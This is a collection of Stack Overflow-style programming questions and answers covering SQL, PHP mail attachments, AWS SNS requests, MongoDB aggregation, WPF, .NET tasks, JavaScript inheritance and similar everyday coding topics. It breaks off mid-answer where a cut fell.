11117110	0	 <p>I used <code>form.setText(Html.fromHtml(text));</code> and it works fine.</p>
22460842	0	MySQL Query To Produce Output Per Month Based On Variable Duration Entries <p>Ok, so I have a table that contains payments associated with dates and durations.</p> <p>Example data:</p> <pre><code>purchase_id date_purchased user_id duration (in months) amount_income 1 2013-12-28 00:00:00 1 2 £15 2 2014-01-04 00:00:00 2 1 £10 3 2014-02-04 00:00:00 3 6 £40 </code></pre> <p>*So the longer duration users pay for, the less they pay per month overall.</p> <p>What I'm trying to display is the total income per month based on this table. So a payment of £15 over 2 months would mean £7.50 income per month for 2 months.</p> <p>Sample output:</p> <pre><code>Month Amount 2013-12 £7.50 2014-01 £17.50 2014-02 £6.66 2014-03 £6.66 2014-04 £6.66 2014-05 £6.66 2014-06 £6.66 2014-07 £6.66 </code></pre> <p>This output corresponds to the sample input above. Hopefully it clarifies the breakdown of the income per month.</p> <p>Any ideas how to do this in a query?</p>
40139193	0	 <p>Check to see if your version provides a variable named "yylineno", many of them do.</p> <p>I know flex 2.6.0 does.</p>
24432502	0	Force Storyboard to present specific base localization <p>I have a story board with base localisation (The story board itself is not localised) I wish to use base locazation to localize the app and still to be able to change the localization from within the app itself.</p> <p>Right now I am dong so with this approach -</p> <pre><code>+(NSString*)localizedStringForKey:(NSString*) key { NSBundle* languageBundle = [self localizationBundle]; NSString* str=[languageBundle localizedStringForKey:key value:@"" table:nil]; return str; } </code></pre> <p><strong>But</strong> this works only for dynamic strings that I assign in the code. Is there any way to force the story board to use specific base localizatio or should I give up using this option and create all the strings in code ?</p> <p>Thanks SHani</p>
21205623	0	Delete all messages in queue Websphere 8.5 SIB via JMX <p>I want to delete all the messages in a queue configured in Websphere 8.5 SIB. Below are two approaches I tried, but none of them seem to be working and each throws a different exception. Can someone please advise on what is the correct way to achieve this.</p> <p><strong>Approach 1</strong></p> <pre><code>MBeanServerConnection connection = getServerConnection(); connection.invoke(new ObjectName("WebSphere:*,type=SIBQueuePoint,name=jms.queue.MY_QUEUE"), "deleteAllQueuedMessages", null, null); </code></pre> <p>This approach throws the below exception.</p> <blockquote> <p>javax.management.InstanceNotFoundException: WebSphere:type=SIBQueuePoint,name=jms.queue.MY_QUEUE</p> </blockquote> <p><strong>Approach 2</strong></p> <pre><code>MBeanServerConnection connection = getServerConnection(); ObjectName objQueue = new ObjectName(WAS85_RESOURCE_URL + ",type=SIBQueuePoint"); Set&lt;ObjectName&gt; objNames = connection.queryNames(objQueue, null); for(ObjectName objName: objNames) { String qName = connection.getAttribute(objName,"identifier").toString(); if(qName.equals("jms.queue.MY_QUEUE")) { connection.invoke(objName, "deleteAllQueuedMessages", null, null); } } </code></pre> <p>This approach throws the below exception.</p> <blockquote> <p>javax.management.ReflectionException: Target method not found: com.ibm.ws.sib.admin.impl.JsQueuePoint.deleteAllQueuedMessages</p> </blockquote>
28342101	0	 <p><code>IEnumerable&lt;T&gt;</code> extends <code>IEnumerable</code>, so if you're implementing <code>IEnumerable&lt;T&gt;</code>, you are automatically also implementing <code>IEnumerable</code>.</p> <p><code>IEnumerable</code> exists for one reason: because C# 1.0 did not have generics. Because of that, we now have to implement <code>IEnumerable</code> all the time, which is just kind of annoying.</p> <p>Your implementation is correct: when implementing IEnumerable, just have it call the generic version.</p> <pre><code>IEnumerator IEnumerable.GetEnumerator() { return this.GetEnumerator(); } </code></pre>
19606523	0	Using continue to skip iteration in foreach from inside a swich <pre><code>$arr = array('no want to print','foo','bar'); foreach($arr as $item){ switch($item){ case 'foo': $item = 'bar'; break; case 'not want to print': continue; break; } echo $item; } </code></pre> <p><a href="http://codepad.org/Ytkd8x2M" rel="nofollow">http://codepad.org/Ytkd8x2M</a></p> <p>But 'not want to print' is printed, Why does continue don't apply to the foreach?</p>
39533353	0	 <p>Are you able to sort the group in Descending order? I have an idea but it will be less work for you if they're grouped newest to oldest.</p> <p><strong>WhileReadingRecords:</strong></p> <p>In each group you'll need to determine the 1st and 6th visit. (You're currently suppressing any groups with less than 6.) To do this, I would make a Shared Variable called <code>Counter</code> that increments by one every record <em>and</em> resets every time it reaches a new group. (Set it to zero in the Group Header.)</p> <p>Next you'll need two more Shared Variables called <code>FirstDate</code> and <code>SixthDate</code>. These populate with the date value if <code>Counter</code> equals one or six respectively. Just like <code>Counter</code> you'll reset these every time the group changes.</p> <p><strong>WhilePrintingRecords:</strong></p> <p>If everything works, you should now have the two dates values you need for calculations. Add an additional clause in your current Suppression formula:</p> <pre><code>.... AND DateDiff("d", FirstDate, SixthDate) </code></pre>
17337706	0	 <p>I created a class named "MyTileOverlay" by extending TilesOverlay and it contins this class:</p> <p><a href="https://code.google.com/p/osmdroid/source/browse/trunk/osmdroid-android/src/main/java/org/osmdroid/views/overlay/TilesOverlay.java?r=1086" rel="nofollow">https://code.google.com/p/osmdroid/source/browse/trunk/osmdroid-android/src/main/java/org/osmdroid/views/overlay/TilesOverlay.java?r=1086</a></p> <p>Then when setting up the mapview, I do this:</p> <pre><code>this.mTilesOverlay = new MyTileOverlay(mProvider, this.getBaseContext()); </code></pre> <p>As instructed by kurtzmarc, I used handleTile() to check whether all tiles are being loaded or not:</p> <pre><code>@Override public void handleTile(final Canvas pCanvas, final int pTileSizePx, final MapTile pTile, final int pX, final int pY) { Drawable currentMapTile = mTileProvider.getMapTile(pTile); if (currentMapTile == null) { currentMapTile = getLoadingTile(); Log.d("Tile Null", "Null"); } else { Log.d("Tile Not Null", "Not Null"); } if (currentMapTile != null) { mTileRect.set(pX * pTileSizePx, pY * pTileSizePx, pX * pTileSizePx + pTileSizePx, pY * pTileSizePx + pTileSizePx); onTileReadyToDraw(pCanvas, currentMapTile, mTileRect); } if (DEBUGMODE) { mTileRect.set(pX * pTileSizePx, pY * pTileSizePx, pX * pTileSizePx + pTileSizePx, pY * pTileSizePx + pTileSizePx); mTileRect.offset(-mWorldSize_2, -mWorldSize_2); pCanvas.drawText(pTile.toString(), mTileRect.left + 1, mTileRect.top + mDebugPaint.getTextSize(), mDebugPaint); pCanvas.drawLine(mTileRect.left, mTileRect.top, mTileRect.right, mTileRect.top, mDebugPaint); pCanvas.drawLine(mTileRect.left, mTileRect.top, mTileRect.left, mTileRect.bottom, mDebugPaint); } } </code></pre> <p>This method ensures whether the loading procedure is finalized or not:</p> <pre><code>@Override public void finaliseLoop() { Log.d("Loop Finalized", "Finalized"); } </code></pre> <p>I can also use this method to identify whether all tiles have been loaded or not:</p> <pre><code>public int getLoadingBackgroundColor() { return mLoadingBackgroundColor; } </code></pre> <p>Hope this help someone!</p>
32179601	0	How to re-initialise data-sort on jQuery DataTables? <p>I am using jQuery Datatables in my project and I have made "custom value" sorting available on a column by using the attribute <code>data-sort</code> as described here: <a href="https://datatables.net/examples/advanced_init/html5-data-attributes.html" rel="nofollow">https://datatables.net/examples/advanced_init/html5-data-attributes.html</a></p> <p>Works fine. But now I am using Javascript/jQuery to update the values of these attributes, and the dataTable doesn't take into account the new values, it still sorts using the original values.</p> <p>Update is done on the attribute directly as such:</p> <pre><code>$('td#myColumnId').attr('data-order', newValue); </code></pre> <p>How can I force my dataTable to re-initialise my custom sort values?</p> <p>So far I have tried <code>.draw()</code> and <code>.dataTable()</code> but unfortunately that is not working.</p> <p>I'm looking forward to a possible solution.</p>
36821726	0	 <p>Yes, you can. The Amazon SNS API is accessible and works using an HTTP protocol. All SDKs are just utility tools to make this communication easier.</p> <p>As you can see from the <a href="http://docs.aws.amazon.com/sns/latest/dg/SendMessageToHttp.html" rel="nofollow">AWS SNS API docs here</a>, it is a matter of sending a <code>POST</code> request with correctly formulated HTTP Headers and body.</p> <pre><code>POST / HTTP/1.1 x-amz-sns-message-type: Notification x-amz-sns-message-id: da41e39f-ea4d-435a-b922-c6aae3915ebe x-amz-sns-topic-arn: arn:aws:sns:us-west-2:123456789012:MyTopic x-amz-sns-subscription-arn: arn:aws:sns:us-west-2:123456789012:MyTopic:2bcfbf39-05c3-41de-beaa-fcfcc21c8f55 Content-Length: 761 Content-Type: text/plain; charset=UTF-8 Host: ec2-50-17-44-49.compute-1.amazonaws.com Connection: Keep-Alive User-Agent: Amazon Simple Notification Service Agent { "Type" : "Notification", "MessageId" : "da41e39f-ea4d-435a-b922-c6aae3915ebe", "TopicArn" : "arn:aws:sns:us-west-2:123456789012:MyTopic", "Subject" : "test", "Message" : "test message", "Timestamp" : "2012-04-25T21:49:25.719Z", "SignatureVersion" : "1", "Signature" : "EXAMPLElDMXvB8r9R83tGoNn0ecwd5UjllzsvSvbItzfaMpN2nk5HVSw7XnOn/49IkxDKz8YrlH2qJXj2iZB0Zo2O71c4qQk1fMUDi3LGpij7RCW7AW9vYYsSqIKRnFS94ilu7NFhUzLiieYr4BKHpdTmdD6c0esKEYBpabxDSc=", "SigningCertURL" : "https://sns.us-west-2.amazonaws.com/SimpleNotificationService-f3ecfb7224c7233fe7bb5f59f96de52f.pem", "UnsubscribeURL" : "https://sns.us-west-2.amazonaws.com/?Action=Unsubscribe&amp;SubscriptionArn=arn:aws:sns:us-west-2:123456789012:MyTopic:2bcfbf39-05c3-41de-beaa-fcfcc21c8f55" } </code></pre> <p>You may learn how to sign and build correct requests in their docs (link provided above). So, you don't have to use SDK, and make your own requests. But, I would suggest using the SDK, since it addresses many security issues for you.</p>
21020840	0	 <p>The second argument to <code>addEventListener</code> should be a function. You're not passing a function, you're calling the function immediately and passing the result. Change to:</p> <pre><code>document.getElementById("showF").addEventListener("click", function() { sacardatos('P1.txt','container'); }, false); </code></pre>
7302698	0	 <p>Most likely it does not work because of your match pattern:</p> <ul> <li>the <code>{R:1}</code> will only match <code>(.*)</code> in your pattern, and will never match <code>files/123...</code></li> <li>URL in match pattern always starts with no leading slash: should be <code>files/\d+...</code> and not <code>/files/\d+...</code></li> </ul> <p>Try this one instead (works fine for me):</p> <pre><code>&lt;rule name="1" stopProcessing="true"&gt; &lt;match url="^files/\d+/.*\.html$" /&gt; &lt;action type="Redirect" url="default.aspx?url={R:0}" redirectType="Permanent" /&gt; &lt;/rule&gt; </code></pre>
14671771	0	Delete file after printing <p>I'm trying to delete a file after printing it without success.</p> <p>Practically, I need to print a PDF which is temporary generated (with text and image), then, when the printing process is done, I'd like to remove it.</p> <p>Currently the PDF is being saved in Documents directory. Is it a good idea to save it in Temp folder? But then I'd have to remove it anyways. I also have a tableView which shows the PDF the user <strong>saved</strong>, so I need to show only those (and not those <strong>temporarily</strong> generated)</p> <p>I've tried with UIPrinterInteractionController's delegate methods, but without any luck. </p> <pre><code>-(void)printInteractionControllerDidDismissPrinterOptions:(UIPrintInteractionController *)printInteractionController{ NSError *error; NSFileManager *fileMgr = [NSFileManager defaultManager]; NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES); NSString *documentsDirectory = [paths objectAtIndex:0]; NSString *filePath = [documentsDirectory stringByAppendingPathComponent:[NSString stringWithFormat:@"%@",PDFNameString]]; if ([fileMgr removeItemAtPath:filePath error:&amp;error] != YES) { UIAlertView *alert = [[[UIAlertView alloc] initWithTitle:@"Error" message:[NSString stringWithFormat:NSLocalizedString(@"UnableToDeleteFile", @"Unable to delete file: %@"),[error localizedDescription]] delegate:self cancelButtonTitle:@"OK" otherButtonTitles:nil, nil] autorelease]; [alert show]; } NSLog(@"Dismissed"); } </code></pre> <p>The alert view pops up just when the printing options view leaves place to "Sending to printer.." view. It doesn't even delete the file, it says</p> <p>Cocoa error code 4.</p> <p>Does anyone know what method can I use to remove a file when the printing process is done?</p> <p><strong>EDIT</strong></p> <p>I NSLog'd if the file existed, and it doesn't. How is this possible?</p>
26345855	0	Finding specific duplicates when one field is different <p>I have a SQL DB table that has some data duplication. I need to find records based on the fact that none of the "duplicate" records has a value of Null value in one of the fields. i.e.</p> <pre><code>ID Name StartDate 1 Fred 1/1/1945 2 Jack 2/2/1985 3 Mary 3/3/1999 4 Fred null 5 Jack 5/5/1977 6 Jack 4/4/1985 7 Fred 10/10/2001 </code></pre> <p>In the example above I need to find Jack and Mary but not Fred. I assume some sort of Self Join or Union but have run into a mental block on what exactly would give me my desired results. </p>
12169535	0	 <p>Something like this may get the job done:</p> <pre><code>&lt;?php function multi_attach_mail($to, $files, $sendermail){ // email fields: to, from, subject, and so on $from = "Files attach &lt;".$sendermail."&gt;"; $subject = date("d.M H:i")." F=".count($files); $message = date("Y.m.d H:i:s")."\n".count($files)." attachments"; $headers = "From: $from"; // boundary $semi_rand = md5(time()); $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x"; // headers for attachment $headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\""; // multipart boundary $message = "--{$mime_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . $message . "\n\n"; // preparing attachments for($i=0;$i&lt;count($files);$i++){ if(is_file($files[$i])){ $message .= "--{$mime_boundary}\n"; $fp = @fopen($files[$i],"rb"); $data = @fread($fp,filesize($files[$i])); @fclose($fp); $data = chunk_split(base64_encode($data)); $message .= "Content-Type: application/octet-stream; name=\"".basename($files[$i])."\"\n" . "Content-Description: ".basename($files[$i])."\n" . "Content-Disposition: attachment;\n" . " filename=\"".basename($files[$i])."\"; size=".filesize($files[$i]).";\n" . "Content-Transfer-Encoding: base64\n\n" . $data . "\n\n"; } } $message .= "--{$mime_boundary}--"; $returnpath = "-f" . $sendermail; $ok = @mail($to, $subject, $message, $headers, $returnpath); if($ok){ return $i; } else { return 0; } } ?&gt; </code></pre> <p>I got that from the <a href="http://www.php.net/manual/en/function.mail.php" rel="nofollow">comments section of the mail function's page on php.net</a>. You can go there to see more examples of similar functions.</p>
29532816	0	PHP - Method with parameters as a parameter to other method <p>I am trying to get result from this method (1st param is the service name, 2nd is method with its own parameters):</p> <pre><code>$userFacade-&gt;getSet('users', 'findBy([], [\'id\' =&gt; \'DESC\'])') </code></pre> <p>This is the getSet method:</p> <pre><code>public function getSet($service, $function) { return new Set($this-&gt;$service-&gt;getRepository()-&gt;$function); } </code></pre> <p>All I want to achieve is to make writing of calls of the repository's functions easier. I haven't found anything useful yet because I don't know the proper term to search for (if there is one). I just wonder whether it's possible (how?) or not (ok...).</p> <p>Now I get an error:</p> <pre><code>Cannot read an undeclared property EntityRepository::$findBy([], ['id' =&gt; 'DESC']) </code></pre>
40390809	0	 <p>I found this solution. But it's not very nice . </p> <pre><code>std::vector&lt;int&gt; list = {1,2,3,4}; std::vector&lt;int&gt; newList; std::for_each(list.begin(), list.end(),[&amp;newList](int val){newList.push_back(val*2);}); </code></pre>
20885994	0	 <p>Try this</p> <pre><code>&lt;Grid Background="LightGray" &gt; &lt;Grid.Triggers&gt; &lt;EventTrigger RoutedEvent="MouseEnter"&gt; &lt;BeginStoryboard&gt; &lt;Storyboard &gt; &lt;DoubleAnimation From="0" To="1" Storyboard.TargetProperty="Opacity" Storyboard.TargetName="Grid_Bd" Duration="0:0:0.1"&gt;&lt;/DoubleAnimation&gt; &lt;/Storyboard&gt; &lt;/BeginStoryboard&gt; &lt;/EventTrigger&gt; &lt;EventTrigger RoutedEvent="MouseLeave"&gt; &lt;BeginStoryboard&gt; &lt;Storyboard &gt; &lt;DoubleAnimation From="1" To="0" Storyboard.TargetProperty="Opacity" Storyboard.TargetName="Grid_Bd" Duration="0:0:0.1"&gt;&lt;/DoubleAnimation&gt; &lt;/Storyboard&gt; &lt;/BeginStoryboard&gt; &lt;/EventTrigger&gt; &lt;/Grid.Triggers&gt; &lt;Grid Height="50" Width="50"&gt; &lt;Border x:Name="TextBlock_Bd" Opacity="0" BorderBrush="Blue" BorderThickness="1"/&gt; &lt;TextBlock Text="Hello !!" HorizontalAlignment="Center" VerticalAlignment="Center"&gt; &lt;TextBlock.Triggers&gt; &lt;EventTrigger RoutedEvent="MouseEnter"&gt; &lt;BeginStoryboard&gt; &lt;Storyboard &gt; &lt;DoubleAnimation From="0" To="1" Storyboard.TargetProperty="Opacity" Storyboard.TargetName="TextBlock_Bd" Duration="0:0:0.1"&gt;&lt;/DoubleAnimation&gt; &lt;/Storyboard&gt; &lt;/BeginStoryboard&gt; &lt;/EventTrigger&gt; &lt;EventTrigger RoutedEvent="MouseLeave"&gt; &lt;BeginStoryboard&gt; &lt;Storyboard &gt; &lt;DoubleAnimation From="1" To="0" Storyboard.TargetProperty="Opacity" Storyboard.TargetName="TextBlock_Bd" Duration="0:0:0.1"&gt;&lt;/DoubleAnimation&gt; &lt;/Storyboard&gt; &lt;/BeginStoryboard&gt; &lt;/EventTrigger&gt; &lt;/TextBlock.Triggers&gt; &lt;/TextBlock&gt; &lt;/Grid&gt; &lt;Border x:Name="Grid_Bd" Opacity="0" BorderBrush="Red" BorderThickness="1"/&gt; &lt;/Grid&gt; </code></pre>
23677340	0	 <p>The syntax is like , please update as</p> <p>ALTER TABLE employee ADD CONSTRAINT fk_department </p> <p>FOREIGN KEY (departmentID) </p> <p>references department (departmentID);</p>
8530194	0	jQuery add empty label tags next to every radio button or checkbox <p>I need a simple jQuery code that will add an empty label tag next to every radio button or checkbox</p> <p>So for example:</p> <pre><code>$('input[type="radio"]').next().add("&lt;label for="radio"&gt;&lt;/label&gt;"); $('input[type="checkbox"]').next().add("&lt;label for="checkbox"&gt;&lt;/label&gt;"); </code></pre> <p>How can I accomplish this?</p> <p>Thanks.</p>
14734445	0	Java annotation processing API accessing import statements <p>I am writing an AnnotationProcessor which is supposed to generate java code. It should generate a derived interface from certain existing interfaces.</p> <p>For this purpose I need to find the import statements of the original input code, so that I can output it in the generated java file.</p> <p>How can this be done?</p>
22605095	0	JTable with different JComboBox-es for each row <p>I created <code>JTable</code> that contains information about employees. In this JTable I added the column called "Qualifications". This column is represented by <code>JComboBox</code> (different content at each row). For instance:</p> <pre><code>Row 1 | JComboBox(){"Programmer","Web"} Row 2 | JComboBox(){"Writer","Editor"} </code></pre> <p>The <code>JComboBox</code> content is taken from the <code>List&lt;String&gt; employees[row].getQualification()</code>.</p> <p>The problem is that the selected item in Row 1 and Row 2 is "Programmer", however "Programmer" should not appear in Row 2. Only when I click on <code>JComboBox</code>, the correct list appears, i.e. Row 2 - {"Writer","Editor"}.</p> <pre><code> TableColumn column = table.getColumnModel().getColumn(5); column.setCellRenderer(getRenderer()); private TableCellRenderer getRenderer() { return new TableCellRenderer() { private JComboBox&lt;String&gt; box = new JComboBox&lt;String&gt;(); @Override public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { for (String q : employees[row].getQualification()) box.addItem(q); box.setBackground(isSelected ? table.getSelectionBackground() : table.getBackground()); box.setForeground(isSelected ? table.getSelectionForeground() : table.getForeground()); return box; } }; } </code></pre>
2862538	0	 <p>Use interfaces when you have several things that can perform a common set of actions. How they do those actions can be different, but when as far as using the classes they act the same.</p> <p>A good real world example is like a network drive vs a regular hard drive. Either way you can perform basic file operations. How they're actually done is different, but most of the time when you want to do something on a drive you don't care if it's a network drive or a physical one. That's an interface.</p> <p>In hardware, different keyboards are designed differently, they (could) have buttons in different locations, but none of that matters to the computer. The computer's view of a keyboard's interface is the same regardless of any aspects other than it sends key strokes.</p>
27103075	0	 <p>In that context <code>$data</code> appears to be just a text. Probably you want <a href="http://knockoutjs.com/documentation/text-binding.html" rel="nofollow">text binding</a> like:</p> <pre><code>&lt;span data-bind="text: $data"&gt;&lt;/span&gt; </code></pre> <p><a href="http://jsfiddle.net/bkdsuqax/1/" rel="nofollow">Jsfiddle</a></p>
15820692	0	 <p>Found this <a href="http://www.openldap.org/faq/data/cache/883.html" rel="nofollow">FAQ</a> and it's not possible to have both classes because they are structurally different, so I have to choose one, which I think inetOrgPerson is a better option.</p>
20919317	0	how to use $group in mongodb/mongoose aggregation in grouping the subdocuments? <p>This corresponds to my question on <a href="http://stackoverflow.com/questions/20919149/how-to-use-mapreduce-in-mongoose-mongodb-query-subdocument">how to use mapreduce in mongoose/mongodb query subdocument?</a>, in that question, I used the map reduce to query the subdocument.</p> <p>Now I tried the solution of aggregation to query all the messages sent from 'user1'</p> <pre><code>model.aggregate( { $match: {user:'username'} }, // query the document { $unwind: "$msgs" }, // break the 'msgs' array into subdocuments { $match: { "msgs.s" : 'user1'} }, // match the filed in subdocuments { $project: { _id: 0, 'msgs.d':1,'msgs.m':1,'msgs.r':1 }}, // project the fileds { $group : { _id : "$_id", msgs : { $addToSet : "$msgs" } }}, // don't know how to group the data { $sort: {"msgs.d " : -1} }, function (err, data ) { if(err) callback(err); else callback(null,data); }) </code></pre> <p>the results I got is </p> <pre><code>[ { msgs: { m: 'I want to meet you', d: Sat Jan 04 2014 08:52:54 GMT+0000 (GMT), r: false } }, { msgs: { m: 'I want to meet you', d: Sat Jan 04 2014 08:53:02 GMT+0000 (GMT), r: false } }, { msgs: { m: 'I want to meet youd', d: Sat Jan 04 2014 08:53:06 GMT+0000 (GMT), r: false } }, ] </code></pre> <p>it is right results, but still not in good format, I think I don't know how to use the $group to group the subdocument into a flatten array.</p> <p>The result I want is </p> <pre><code>{'msgs':[ { m: 'I want to meet you', d: Sat Jan 04 2014 08:52:54 GMT+0000 (GMT), r: false }, { m: 'I want to meet you', d: Sat Jan 04 2014 08:53:02 GMT+0000 (GMT), r: false }, { m: 'I want to meet youd', d: Sat Jan 04 2014 08:53:06 GMT+0000 (GMT), r: false }, ]} </code></pre> <p>how to use the $group in aggregation?</p> <p>if I uncomment the $group in the query.</p> <p>the result I got is like the following</p> <pre><code>[ { _id: null, msgs:[ [Object], [Object], [Object], [Object], [Object] ] } ] </code></pre> <p>Thanks for JohnnyHK 's answer, it helps me a lot in understanding the aggregate. Now I have two more little problems</p> <p><strong>1.</strong> the subdocuments I fetched is not sorted according to the time, in my code, I used <code>{ $sort: {"msgs.d " : -1} }</code> in the query to sort all the subdocuments , but failed to work</p> <p><strong>2.</strong> If I need to add a 'sender' field in the results accompanied with all his sent messages, how can I do it in the $group I tried this way </p> <pre><code>{ $group : { sender : "$msgs.s", msgs : { $addToSet : "$msgs" } }} </code></pre> <p>or</p> <pre><code>{ $group : { sender : sender, msgs : { $addToSet : "$msgs" } }} </code></pre> <p>doesn't work</p> <p><strong>3.</strong> the current result gives me two levels of array, can I remove the first outer array, since it is not needed</p>
10950584	0	 <p>Well, it turned out to be simpler than I thought. I decided to read the code of the plugin and modify it by commenting out the code that sorts my output.</p> <p>That is when I found a variable 'sortResults:true' in defaults. So, all I needed was to set that variable to false. I didn't find this in the documentation though.</p> <p><code>$('#search').autocomplete ( { url: "index.php", sortResults: false } )</code></p> <p>Now the output is in the exact order that I require.</p> <p>I got the idea of reading the code to find/solve the problem from here : <a href="http://stackoverflow.com/questions/2594297/jquery-autocomplete-plugin-is-messing-up-the-order-of-my-data">jQuery &quot;Autocomplete&quot; plugin is messing up the order of my data</a> (That isn't the same plugin)</p> <p>Thanks. :) </p>
23472474	0	 <p>Another thing, make sure your connection is ok, reading <a href="http://docs.php.net/manual/pl/mysqli.construct.php" rel="nofollow">http://docs.php.net/manual/pl/mysqli.construct.php</a>,</p> <pre><code>mysqli_connect("localhost","root","","boats4u")or die(mysqli_error());; </code></pre> <p>will return an object anyway, so</p> <pre><code>or die(mysqli_error()); </code></pre> <p>won't execute because connect returns and object with ->connect_errno set</p>
4744020	0	How do I add multiple controls to a DataGridTemplateColumn of a datagrid using wpf? <p>I have several instances where I would like to have several controls in a single column in a datagrid.</p> <p>For example, I have a dataset that contains images with matching description, image source, timestamp, geotag, etc. I would like to display this information with a thumbnail image in one column and the majority of data in either a textbox or a label. Other datasets I have require textbox / checkbox, or textbox / combobox.</p> <p>When I attempt to add a second control I receive an error reporting that The property "VisualTree" is set more than once.</p> <pre><code>&lt;DataGridTemplateColumn Header="Data" Width="100"&gt; &lt;DataGridTemplateColumn.CellTemplate&gt; &lt;DataTemplate&gt; &lt;Label Name="Description" Content="{Binding Desc}"&gt;&lt;/Label&gt; &lt;Label Name="Camera" Content="{Binding Camera}"&gt;&lt;/Label&gt; &lt;/DataTemplate&gt; &lt;/DataGridTemplateColumn.CellTemplate&gt; &lt;/DataGridTemplateColumn&gt; </code></pre>
10944155	0	 <pre><code>for ( i = 0; i &lt; MaxNum; i++) { $('li#' + i + '').html('&lt;img src="http://www.address.com/somephp.php?Num="'+i+'" /&gt;'); } </code></pre>
9493799	0	 <p>The problem is it takes a while for the scheduler to start the new tasks as it tries to determine if a task is long-running. You can tell the TPL that a task is long running as a parameter of the task:</p> <pre><code>for (int index = 0; index &lt; numberOfTasks; index++) { int capturedIndex = index; rudeTasks.Add(Task.Factory.StartNew(() =&gt; { Console.WriteLine("Starting rude task {0} at {1}ms", capturedIndex, timer.ElapsedMilliseconds); Thread.Sleep(3000); }, TaskCreationOptions.LongRunning)); } </code></pre> <p>Resulting in:</p> <pre><code>Starting rude task 0 at 11ms Starting rude task 1 at 13ms Starting rude task 2 at 15ms Starting rude task 3 at 19ms Short-running task 0 running at 45ms Short-running task 1 running at 45ms Short-running task 2 running at 45ms Short-running task 3 running at 45ms Finished waiting for short tasks at 46ms Finished waiting for rude tasks at 3019ms </code></pre>
10199617	0	 <p>Use :</p> <pre><code>$text = new Zend_Form_Element_Textarea('Text'); $text-&gt;setOptions(array('cols' =&gt; '4', 'rows' =&gt; '4')); </code></pre>
23612601	0	 <p>It is because of the type of image, .jpg images will always be untransparent and you will see the square white box, i always use .png with transparency and no white box appears. </p> <p>Good luck</p>
11120758	0	Call Javascript functions from PHP <p>A common problem is that for validation you need to run the same code on the server and on the client. On a JavaScript heavy page there are many other function you like to share between both sides. Since you can't run PHP on the client I wounder if it's possible to run a Javascript function from PHP. I am thinking about <a href="http://en.wikipedia.org/wiki/Server-side_JavaScript" rel="nofollow">server-side JS</a> like <a href="http://en.wikipedia.org/wiki/Rhino_%28JavaScript_engine%29" rel="nofollow">Rhino</a> but I have no idea how to include it to PHP.</p>
30556802	1	Simple update field in elasticsearch <p>I started using Elsaticsearch and Sense few weeks ago. Now I need to bulk update String field in all the documents of certain index as follows: If the String starts with "+", update the field to same value without the "+".</p> <p>old: number: "+212112233" new: number: "212112233"</p> <p>Is there a simple way for me to do it with the REST DSL or do I need to use Python?</p> <p>Thanks!</p>
17626663	0	Can I connect any android device with ubuntu? <p>I came to know that we can use <code>adb</code> commands to detect android devices. But posts I read were specifically for HTC phones. So I want to know that can I connect any of my android device with ubuntu 12.x ? Or I will need to change some settings of that device? There are some local devices as well as sony xperia, about which I am thinking to buy but I want to make sure that by <code>adb</code> commands can I connect and use all devices equally on ubuntu or it varies from device to device?</p>
38540009	0	Create automatic tasks in wordpress <p>I want to make wordpress create automatic tasks from a text file and assign them to the users. Acctually the text file should be separated in paragraphs and each paragraph should be assigned to the users as a job. What can I do? Do we have a plugin for this process?</p> <p>Thanks</p>
4808048	0	 <p>try putting a clustered index on the view. that will make the view persisted to disk like a normal table and your tables won't have to be accessed every time.</p> <p>that should speed things up a bit.</p> <p>for better answer please post the link to your original question to see if a better solution can be found.</p>
6382543	0	 <p>You have a couple of choices. You can isolate the common functionality into a third object that <code>Class1</code> and <code>Class2</code> share (aggregation), or you can actually create a hierarchy of objects (inheritance). I'll talk about inheritance here.</p> <p>JavaScript doesn't have classes, it's a prototypical language. An object instance is "backed" by a <em>prototype</em> object. If you ask the instance for a property it doesn't have (and functions are attached to objects as properties), the JavaScript interpreter checks the prototype behind the object to see if <em>it</em> has the property (and if not, the prototype behind <em>that</em> object, etc., etc.). This is how prototypical inheritance works.</p> <p>JavaScript is an unusual prototypical language in that, until recently, there was no way to create an object and assign its prototype <em>directly</em>; you had to do it through constructor functions. If you're using class-based terminology, you're probably going to be more comfortable with constructor functions anyway. :-)</p> <p>Here's a basic inheritance setup (this is not how I would actually do this, more on that below):</p> <pre><code>// Constructs an Vehicle instance function Vehicle(owner) { this.owner = owner; } // Who's this Vehicle's owner? Vehicle.prototype.getOwner = function() { return this.owner; }; // Constructs a Car instance function Car(owner) { // Call super's initialization Vehicle.call(this, owner); // Our init this.wheels = 4; } // Assign the object that will "back" all Car instances, // then fix up the `constructor` property on it (otherwise // `instanceof` breaks). Car.prototype = new Vehicle(); Car.prototype.constructor = Car; // A function that drives the car Car.prototype.drive = function() { }; </code></pre> <p>Now we can use <code>Car</code> and get the features of <code>Vehicle</code>:</p> <pre><code>var c = new Car("T.J."); alert(c.getOwner()); // "T.J.", retrived via Vehicle.prototype.getOwner </code></pre> <p>The above is a bit awkward and it has a couple of issues with when things happen that can be tricky. It also has the problem that most of the functions are anonymous, and I don't like anonymous functions (function names <a href="http://blog.niftysnippets.org/2010/03/anonymouses-anonymous.html" rel="nofollow">help your tools help you</a>). It's also awkward to call your prototype's version of a function if you also have a copy of it (e.g., a "supercall"&nbsp;&mdash; not an uncommon operation with hierarchies). For that reason, you see a lot of "frameworks" for building hierarchies, usually using class-based terminology. Here's a list of some of them:</p> <ul> <li>The <code>Class</code> feature of <a href="http://prototypejs.org/" rel="nofollow">Prootype</a>, a general-purpose JavaScript library</li> <li>Dean Edwards' <a href="http://code.google.com/p/base2/" rel="nofollow">base2</a></li> <li>John Resig's <a href="http://ejohn.org/blog/simple-javascript-inheritance/" rel="nofollow">Simple JavaScript Inheritance</a> (Resig being the person who created jQuery)</li> <li>Er, um, <a href="http://blog.niftysnippets.org/2009/09/simple-efficient-supercalls-in.html" rel="nofollow">mine</a>&nbsp;&mdash; which as far as I know is being used by about three people. I did it because I had issues with decisions each of the above made. I will be updating it to not use class terminology (and actually releasing it as a tiny library, rather than just a blog post), because none of these adds classes to JavaScript, and acting as though they do misses the point of JavaScript prototypical model.</li> </ul> <p>Of those four, I'd recommend Resig's or mine. Resig's uses function decompilation (calling <code>toString</code>&nbsp; on function instances, which has never been standardized and doesn't work on some 